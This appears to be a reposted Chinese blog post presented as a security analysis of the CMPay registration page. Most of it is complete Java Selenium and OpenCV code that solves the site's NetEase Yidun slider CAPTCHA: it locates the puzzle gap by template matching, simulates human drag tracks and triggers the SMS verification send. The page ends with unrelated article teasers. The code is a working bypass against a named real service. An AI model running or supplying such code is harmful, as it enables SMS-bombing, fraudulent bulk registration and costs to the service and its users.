【荷包支付-注册安全分析报告】

前言
由于网站注册入口容易被黑客攻击，存在如下安全问题：

  1. 暴力破解密码，造成用户信息泄露
  2. 短信盗刷的安全问题，影响业务及导致用户投诉
  3. 带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞
    在这里插入图片描述

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案， 但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底如何？ 请看具体分析

一、 荷包支付PC 注册入口

简介： 荷包支付,是中国移动旗下的支付公司，中移电子商务有限公司（中移支付）是中国移动通信集团公司2011年应中国人民银行监管要求，委托湖南移动注册成立的全资子公司。公司于2011年12月获得第三方支付牌照，成为中国移动旗下唯一的支付公司，承担全国和包支付平台建设、产品研发及业务运营。

1. 注册引导页在这里插入图片描述

2. 会员注页面

在这里插入图片描述

二、 安全性分析报告：

荷包支付采用的是网易易盾的滑动验证码，容易被模拟器绕过甚至逆向后暴力攻击，滑动拼图识别率在 95% 以上。

在这里插入图片描述

三、 测试方法：

前端界面分析，这网易易盾的滑动验证码，网上存在不少的破解文章，没什么难度 ， 这次还是采用模拟器的方式，关键点主要模拟器交互、距离识别和轨道算法3部分 。

在这里插入图片描述

  1. 模拟器交互部分

public RetEntity send(WebDriver driver, String areaCode, String phone) {WebElement phoneElemet, moveElemet, nameElemet, bg;By moveBy, bgimg;String base64Str = null, moveStr = null;String name = "张三";Actions actions;try {driver.get(INDEX_URL);Thread.sleep(1000);// 输入手机号phoneElemet = ChromeDriverManager.waitElement(driver, By.id("MBL_NO"), 500);phoneElemet.clear();for (int i = 0; i < phone.length(); i++) {char c = phone.charAt(i);phoneElemet.sendKeys(c + "");phoneElemet.click();}Thread.sleep(2000);nameElemet = ChromeDriverManager.waitElement(driver, By.id("USER_NM"), 500);nameElemet.clear();for (int i = 0; i < name.length(); i++) {char c = name.charAt(i);nameElemet.sendKeys(c + "");nameElemet.click();}Thread.sleep(2000);// 获取滑动按钮moveBy = By.className("verify-move-block");moveElemet = ChromeDriverManager.waitElement(driver, moveBy, 400);if (moveElemet == null) {return null;} else {actions = new Actions(driver);actions.clickAndHold(moveElemet).perform();}Thread.sleep(2000);// 获取带阴影的背景图bgimg = By.xpath("//img[@class='backImg']");bg = ChromeDriverManager.waitElement(driver, bgimg, 400);base64Str = bg.getAttribute("src");System.out.println("bUrl=" + base64Str);if (base64Str == null) {return null;}byte[] bigBytes = (base64Str != null) ? GetImage.imgStrToByte(base64Str.substring(base64Str.indexOf(",") + 1)) : null;int bigLen = (bigBytes != null) ? bigBytes.length : 0;System.out.println("1. getPic bigLen=" + bigLen);// 获取小图WebElement smallElement = ChromeDriverManager.waitElement(driver, By.xpath("//img[@class='bock-backImg']"), 1);String smallBase64 = smallElement.getAttribute("src");byte[] smallBytes = (smallBase64 != null) ? GetImage.imgStrToByte(smallBase64.substring(smallBase64.indexOf(",") + 1)) : null;// 计算匹配到的位置String ckSum = GenChecksumUtil.genChecksum(bigBytes);String[] openRet = cv2.getOpenCvDistance(ckSum, bigBytes, smallBytes, "cmpay.com", 0);String openWidth = openRet != null ? openRet[0] : null;String openDistance = openRet != null ? openRet[1] : null;Double openDistanceD = (openDistance != null && openWidth != null) ? (Double.parseDouble(openDistance) - Double.parseDouble(openWidth)) * 280 / 310 : null;int distance = openDistanceD.intValue();System.out.println("getMoveDistance() distance=" + distance);if (distance == 0) {System.out.println("err distance=" + distance);return null;}// 滑动ActionMove.move(driver, moveElemet, distance);for (int i = 0; i < 10; i++) {WebElement msgElement = ChromeDriverManager.waitElement(driver, By.xpath("//span[@class='verify-tips suc-bg']"), 1);moveStr = (msgElement != null) ? msgElement.getText() : null;if (moveStr != null) {break;} else {Thread.sleep(100);}}RetEntity retEntity = new RetEntity();// 滑动结果if (moveStr != null && moveStr.contains("验证成功")) {WebElement smsElement = driver.findElement(By.id("getSmsCode"));smsElement.click();Thread.sleep(1000);String sendBack = smsElement.getText();System.out.println("moveStr=" + moveStr + " -> sendBack=" + sendBack);retEntity.setRet(0);retEntity.setMsg("成功");} else {retEntity.setRet(-1);retEntity.setMsg("失败");}return retEntity;} catch (Exception e) {System.out.println("send() phone=" + phone + ",e=" + e.toString());StringBuffer er = new StringBuffer("send() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace())er.append(elment.toString() + "\n");System.out.println(er.toString());return null;}}

2. 距离识别


/*** * @param ckSum* @param bigBytes* @param smallBytes* @param factory* @return { width, maxX }*/public String[] getOpenCvDistance(String ckSum, byte bigBytes[], byte smallBytes[], String factory, int border) {try {String basePath = ConstTable.codePath + factory + "/";File baseFile = new File(basePath);if (!baseFile.isDirectory()) {baseFile.mkdirs();}// 小图文件File smallFile = new File(basePath + ckSum + "_s.png");FileUtils.writeByteArrayToFile(smallFile, smallBytes);// 大图文件File bigFile = new File(basePath + ckSum + "_b.png");FileUtils.writeByteArrayToFile(bigFile, bigBytes);// 边框清理(去干扰)byte[] clearBoder = (border > 0) ? ImageIOHelper.clearBoder(smallBytes, border) : smallBytes;File tpFile = new File(basePath + ckSum + "_t.png");FileUtils.writeByteArrayToFile(tpFile, clearBoder);String resultFile = basePath + ckSum + "_o.png";return getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);} catch (Throwable e) {logger.error("getMoveDistance() ckSum=" + ckSum + " " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}/*** Open Cv 图片模板匹配* * @param tpPath*            模板图片路径* @param bgPath*            目标图片路径* @return { width, maxX }*/private String[] getWidth(String tpPath, String bgPath, String resultFile) {try {Rect rectCrop = clearWhite(tpPath);Mat g_tem = Imgcodecs.imread(tpPath);Mat clearMat = g_tem.submat(rectCrop);Mat cvt = new Mat();Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);Mat edgesSlide = new Mat();Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);Mat cvtSlide = new Mat();Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);Imgcodecs.imwrite(tpPath, cvtSlide);Mat g_b = Imgcodecs.imread(bgPath);Mat edgesBg = new Mat();Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);Mat cvtBg = new Mat();Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法// 归一化相关匹配法MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);Point maxLoc = minMaxLoc.maxLoc;Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);Imgcodecs.imwrite(resultFile, cvtBg);String width = String.valueOf(cvtSlide.cols());String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);return new String[] { width, maxX };} catch (Throwable e) {System.out.println("getWidth() " + e.toString());logger.error("getWidth() " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}public Rect clearWhite(String smallPath) {try {Mat matrix = Imgcodecs.imread(smallPath);int rows = matrix.rows();// height -> yint cols = matrix.cols();// width -> xSystem.out.println("OpenCv2.clearWhite()  rows=" + rows + ",cols=" + cols);Double rgb;double[] arr;int minX = 255;int minY = 255;int maxX = 0;int maxY = 0;Color c;for (int x = 0; x < cols; x++) {for (int y = 0; y < rows; y++) {arr = matrix.get(y, x);rgb = 0.00;for (int i = 0; i < 3; i++) {rgb += arr[i];}c = new Color(rgb.intValue());int b = c.getBlue();int r = c.getRed();int g = c.getGreen();int sum = r + g + b;if (sum >= 5) {if (x <= minX)minX = x;else if (x >= maxX)maxX = x;if (y <= minY)minY = y;else if (y >= maxY)maxY = y;}}}int boder = 1;if (boder > 0) {minX = (minX > boder) ? minX - boder : 0;maxX = (maxX + boder < cols) ? maxX + boder : cols;minY = (minY > boder) ? minY - boder : 0;maxY = (maxY + boder < rows) ? maxY + boder : rows;}int width = (maxX - minX);int height = (maxY - minY);System.out.println("openCv2 minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);Rect rectCrop = new Rect(minX, minY, width, height);return rectCrop;} catch (Throwable e) {StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace()) {er.append(elment.toString() + "\n");}logger.error(er.toString());System.out.println(er.toString());return null;}}

3. 轨道生成及移动算法

/*** 双轴轨道生成算法，主要实现平滑加速和减速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已经移动的距离BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值BigDecimal move = null;// 每次循环移动的距离List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}/*** 模拟人工移动* * @param driver* @param element页面滑块* @param distance需要移动距离* @throws InterruptedException*/public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {List<Integer[]> track = getXyTrack(distance);if (track == null || track.size() < 1) {System.out.println("move() track=" + track);}int moveY, moveX;StringBuffer sb = new StringBuffer();try {Actions actions = new Actions(driver);actions.clickAndHold(element).perform();Thread.sleep(50);long begin, cost;Integer[] move;int sum = 0;for (int i = 0; i < track.size(); i++) {begin = System.currentTimeMillis();move = track.get(i);moveX = move[0];sum += moveX;moveY = move[1];if (moveX < 0) {if (sb.length() > 0) {sb.append(",");}sb.append(moveX);}actions.moveByOffset(moveX, moveY).perform();cost = System.currentTimeMillis() - begin;if (cost < 5) {Thread.sleep(5 - cost);}}if (sb.length() > 0) {System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);}Thread.sleep(180);actions.release(element).perform();Thread.sleep(500);} catch (Exception e) {StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace())er.append(elment.toString() + "\n");logger.error(er.toString());System.out.println(er.toString());}}

4. 图片比对结果测试样例：
在这里插入图片描述

四丶结语

荷包支付作为支付行业的翘楚，依托移动老大哥的资源，技术实力雄厚， 人才济济，采用的是通俗的滑动验证产品， 在一定程度上提高了用户体验， 不过随着图形识别技术及机器学习能力的提升，所以在网上破解的文章和教学视频也是大量存在，并且经过验证的确有效， 所以除了滑动验证方式， 花样百出的产品层出不穷，但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。

有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。

所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#

戳这里→康康你手机号在过多少网站注册过！！！

谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/bicheng/27512.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

基于ResNet-18的简单分类（新手，而且网络效果不咋滴，就是学个流程）

基于ResNet-18的简单分类（新手，而且网络效果不咋滴，就是学个流程）

引言 先看问题&#xff1a; 我手边有一数据集&#xff0c;然后我想分分类&#xff01;~~ 咳咳&#xff0c;最近刚做了一个&#xff1a;训练集有1143张&#xff0c;分为5类&#xff0c;里面图片是打乱的。测试集有248张&#xff0c;想把它分分类看看咋样。 再看一下效果: …
阅读更多...
目前市面上DIY高端空心耳机壳使用的透明原材料是什么？

目前市面上DIY高端空心耳机壳使用的透明原材料是什么？

目前市面上DIY高端空心耳机壳使用的透明原材料是什么&#xff1f; DIY制作耳机壳的UV树脂胶是一种单组份、通过紫外线光固化的胶粘剂&#xff0c;具有低能量固化、收缩低、发热量低、高透明、耐盐酸、耐黄变好、高硬度、韧性好、成型好等特点。这种胶粘剂非常适合用于制作耳机壳…
阅读更多...
照明乙级资质换证申请中的环保要求

照明乙级资质换证申请中的环保要求

在照明乙级资质换证申请中&#xff0c;环保要求是一个重要的考量因素。以下是关于环保要求的详细解释和归纳&#xff1a; 一、法规遵循与标准更新 严格遵守国家和地方关于环境工程设计和施工的法律法规&#xff0c;包括但不限于《中华人民共和国环境保护法》、《建设项目环境保…
阅读更多...
JBoss面试题精要和参考答案（3万字长文）

JBoss面试题精要和参考答案（3万字长文）

目录 JBoss应用服务器的主要功能是什么？ 描述JBoss中的目录结构。 JBoss支持哪些Java EE规范？ 什么是JBoss的独立模式和域模式？ JBoss AS和WildFly有什么区别？ 如何在Linux服务器上安装JBoss？ 描述如何在JBoss中增加Java堆内存。 如何以独立模式启动JBoss？ 解释…
阅读更多...
手机IP地址距离多远会变：解析移动设备的网络定位奥秘

手机IP地址距离多远会变：解析移动设备的网络定位奥秘

在移动互联网时代&#xff0c;手机IP地址扮演着至关重要的角色&#xff0c;它不仅是我们访问网络的基础&#xff0c;还常常与网络定位、地理位置服务等相关联。那么&#xff0c;手机IP地址在距离多远时会发生变化呢&#xff1f;手机IP地址距离多远会变&#xff1f;下面跟着虎观…
阅读更多...
苹果AI功能，GPU内存瓶颈，大气预测模型，Chrome内置Gemini

苹果AI功能，GPU内存瓶颈，大气预测模型，Chrome内置Gemini

智源社区 刚刚&#xff01;苹果发布Apple Intelligence&#xff0c;官宣免费接入ChatGPT&#xff0c;Siri迎来重磅更新 大模型竞速赛鸣枪开跑后&#xff0c;苹果似乎已经脱离了第一梯队&#xff0c;曾经的行业风向标并没有像其他大厂那样频繁地宣讲 AI&#xff0c;加之缺乏能…
阅读更多...
javaweb要点和难点具体应用场景案例

javaweb要点和难点具体应用场景案例

JavaWeb是指使用Java技术来解决Web互联网领域问题的技术栈。它涵盖了Web服务端和客户端的开发，为Web应用提供了丰富的功能和强大的支持。以下是关于JavaWeb的详细介绍： 1. 技术和应用背景 JavaWeb利用了Java语言的跨平台性和安全性，使得基于JavaWeb开发的应用可以在不同的…
阅读更多...
LVS_Director + KeepAlived + 邮件报警

LVS_Director + KeepAlived + 邮件报警

目录 一. 环境准备 二. 对master和backup操作 三. 配置master主机 四. 配置backup主机 六. 验证虚拟IP 七. 配置后端两个web服务器 对web1和web2主机都进行如下操作&#xff1a; 单独修改web1主机 单独修改web2主机 验证 八. 设置邮件报警 一. 环境准备 KeepAlive…
阅读更多...
深入探索 Spring Boot 自定义启动画面

深入探索 Spring Boot 自定义启动画面

目录 引言什么是 Spring Boot 启动画面Spring Boot 默认启动画面为什么要自定义启动画面如何自定义 Spring Boot 启动画面 修改配置文件使用 Banner 接口通过图片实现启动画面ASCII 艺术画的应用 进阶&#xff1a;基于环境变量的动态 Banner多模块项目中的启动画面Spring Boot…
阅读更多...
Internet地址

Internet地址

要求和目的 深入理解java InetAddress类的基本用法&#xff0c;并且可以掌握Java程序的编写和调试。 实验环境 Java语言&#xff0c;PC平台 实验具体内容 设计和编写以下程序&#xff1a; 程序1&#xff1a; 1&#xff09;编写可以获得本机地址的Java程序&#xff0c;然…
阅读更多...
【CS.AL】算法核心之贪心算法：从入门到进阶

【CS.AL】算法核心之贪心算法：从入门到进阶

文章目录 1. 概述2. 适用场景3. 设计步骤4. 优缺点5. 典型应用6. 题目和代码示例6.1 简单题目&#xff1a;找零问题6.2 中等题目&#xff1a;区间调度问题6.3 困难题目&#xff1a;分数背包问题 7. 题目和思路表格8. 总结References 1000.1.CS.AL.1.4-核心-GreedyAlgorithm-Cre…
阅读更多...
utm投影

utm投影

一 概述 UTM (Universal Transverse Mercator)坐标系是由美国军方在1947提出的。虽然我们仍然将其看作与“高斯&#xff0d;克吕格”相似的坐标系统&#xff0c;但实际上UTM采用了网格的分带&#xff08;或分块&#xff09;。除在美国本土采用Clarke 1866椭球体以外&#xff0c…
阅读更多...
【AI基础】第六步：纯天然保姆喂饭级-安装并运行qwen2-7b

【AI基础】第六步：纯天然保姆喂饭级-安装并运行qwen2-7b

整体步骤类似于 【AI基础】第五步&#xff1a;纯天然保姆喂饭级-安装并运行chatglm3-6b-CSDN博客。 此系列文章列表&#xff1a; 【AI基础】概览 【AI基础】第一步&#xff1a;安装python开发环境-windows篇_下载安装ai环境python 【AI基础】第一步&#xff1a;安装python开发环…
阅读更多...
MATLAB基础应用精讲-【数模应用】事后多重比较

MATLAB基础应用精讲-【数模应用】事后多重比较

目录 几个高频面试题目 （事后）多重比较（multiple comparisons after ANOVA）为什么需要校正? 如何判断多个检验属于多重比较，从而需要p值校正？ 知识储备 方差分析全流程 正态性检验 1 不同分析方法案例详解 1.1 单因素方差分析 1.2 双因素方差分析 1.3 三因素方…
阅读更多...
中测智绘x京存：加速数字孪生平台研发

中测智绘x京存：加速数字孪生平台研发

中测智绘是我国领先的数字孪生软件和整体方案提供商&#xff0c;可为各行业提供极高品质的数字孪生解决方案。 孪生的概念发源于NASA的阿波罗计划&#xff0c;为了提高灾难可控性&#xff0c;从而构建了两个相同的航天飞行器&#xff0c;一个在太空&#xff0c;一个在地面。所…
阅读更多...
判断学生成绩等级、邮箱验证 题目

判断学生成绩等级、邮箱验证 题目

题目 JAVA7 判断学生成绩等级分析&#xff1a;代码&#xff1a;大佬代码&#xff1a; JAVA8 邮箱验证分析&#xff1a;代码&#xff1a; JAVA7 判断学生成绩等级 描述 现有如下成绩等级A,B,C,D。其中A代表优秀&#xff0c;B代表良好&#xff0c;C代表及格&#xff0c;D代表不及…
阅读更多...
LeetCode 1045, 14, 25

LeetCode 1045, 14, 25

目录 1045. 买下所有产品的客户题目链接表要求知识点思路代码 14. 最长公共前缀题目链接标签普通版思路代码 加强版思路代码 25. K 个一组翻转链表题目链接标签思路代码 1045. 买下所有产品的客户 题目链接 1045. 买下所有产品的客户 表 表Customer的字段为customer_id和pr…
阅读更多...
搭建个人智能家居 6 -SGP30 CO₂与TVOC测量

搭建个人智能家居 6 -SGP30 CO₂与TVOC测量

搭建个人智能家居 6 -SGP30 CO₂与TVOC测量 前言说明ESPHomeHomeAssistant 前言 上一篇文章我们给这个智能家居系统添加了第三个外设&#xff0c;温湿度传感器。今天添加第四个外设&#xff0c;用于测量环境中CO₂与TVOC的传感器“SGP30”。 前问回顾&#xff1a; 搭建个人智能…
阅读更多...
自然语言处理:第三十五章Embedding 测评榜单MTEB

自然语言处理:第三十五章Embedding 测评榜单MTEB

文章链接: [2210.07316] MTEB: Massive Text Embedding Benchmark (arxiv.org) 项目地址: mteb:MTEB: Massive Text Embedding Benchmark - GitCode github地址: FlagEmbedding/C_MTEB at master FlagOpen/FlagEmbedding (github.com) Hugging Face Leadboard: MTEB Leader…
阅读更多...
移动端超超超详细知识点总结（Part3）

移动端超超超详细知识点总结（Part3）

flex布局体验 1. 传统布局与flex布局 传统布局&#xff1a; 兼容性好布局繁琐局限性&#xff0c;不能再移动端很好的布局flex 弹性布局&#xff1a; 操作方便&#xff0c;布局极为简单&#xff0c;移动端应用很广泛PC 端浏览器支持情况较差IE 11或更低版本&#xff0c;不支持…
阅读更多...
最新文章

Copyright @ 2022~2023